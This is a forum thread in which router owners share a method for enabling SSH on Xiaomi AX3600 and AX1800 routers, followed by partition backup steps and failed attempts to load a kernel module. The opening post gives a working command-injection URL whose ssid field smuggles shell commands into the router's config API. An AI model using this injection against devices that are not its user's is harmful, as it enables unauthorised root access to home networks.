Half a year has passed since the release of the xiaomi wifi6 router ax3600. And finally we can get the ssh access on it.
The origin exploit is found by LonGDikE from Chinese Enshan forum.
Here are the steps:
Login in to your router and get the STOK like follwing: http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router
Access these urls in browser:
(nvram set ssh_en=1;nvram commit) http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%3B
PS: You can excute any shell code like this: http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B<your encoded shell code>%3B
I think I need to downgrade to 1.0.34, the link is available on right.com.cn forum but I'm not a member, maybe someone with access could post it here.
Edit: No need to downgrade, gained SSH access to the Mi AX1800 running latest 1.0.336 firmware after a reset and setup in router mode, in AP mode is didn't work.
edit: I managed to translate the post, but I can't get the attachment
Step 1: Back up Xiaomi's bdata partition, which contains the router's sn code ssh and other information. Before operation, confirm the partition details of the router:
root@XiaoQiang:~# cat /proc/mtd | grep bdata
mtd9: 00080000 00020000 "bdata"
You can see that my bdata partition is mtd9. Then enter the following command:
nanddump -f /tmp/bdata_mtd9.img /dev/mtd9
After the backup is complete, copy the bdata_mtd9.img file to the computer in the /tmp directory. You can use the winscp software to copy directly, or use the scp command to copy
After the copy is completed, for safety reasons, I suggest to make another copy and save it, just in case
I don't understand how just backing up the partition can make ssh permanent. How to restore the partition (and enable ssh) if you no longer have access to ssh?
You actually need a file, which will hack and unlock mtd to gain access of telnet permanent, and start ssh service via command after. I got the file, but dunno how to upload here
That I understand however hack from this forum: https://www.right.com.cn/forum/thread-4045295-1-1.html contains flashing crash partition with the file that is supposed to allow writing to mtd9 after reboot. Unfortunately that seem not to work for me and I an wondering what the reason might be.
root@XiaoQiang:~# opkg install --nodeps --dest ram /tmp/kmod-mtd-rw_4.14.171+git
-20160214-1_aarch64_cortex-a53.ipk
Installing kmod-mtd-rw (4.14.171+git-20160214-1) to ram...
Configuring kmod-mtd-rw.
root@XiaoQiang:~# insmod mtd-rw i_want_a_brick=1
Failed to find mtd-rw. Maybe it is a built in module ?
Kernel modules must match the running kernel exactly (not just the same upstream version, but also the same patches and configuration), there is only very little leeway. Non-matching kernel versions usually just result in the module not being considered, same version but non-matching patches/ config likely causes crashes.
In order to match, you'd need the 4.4.60 based OEM kernel, but you don't have its source.
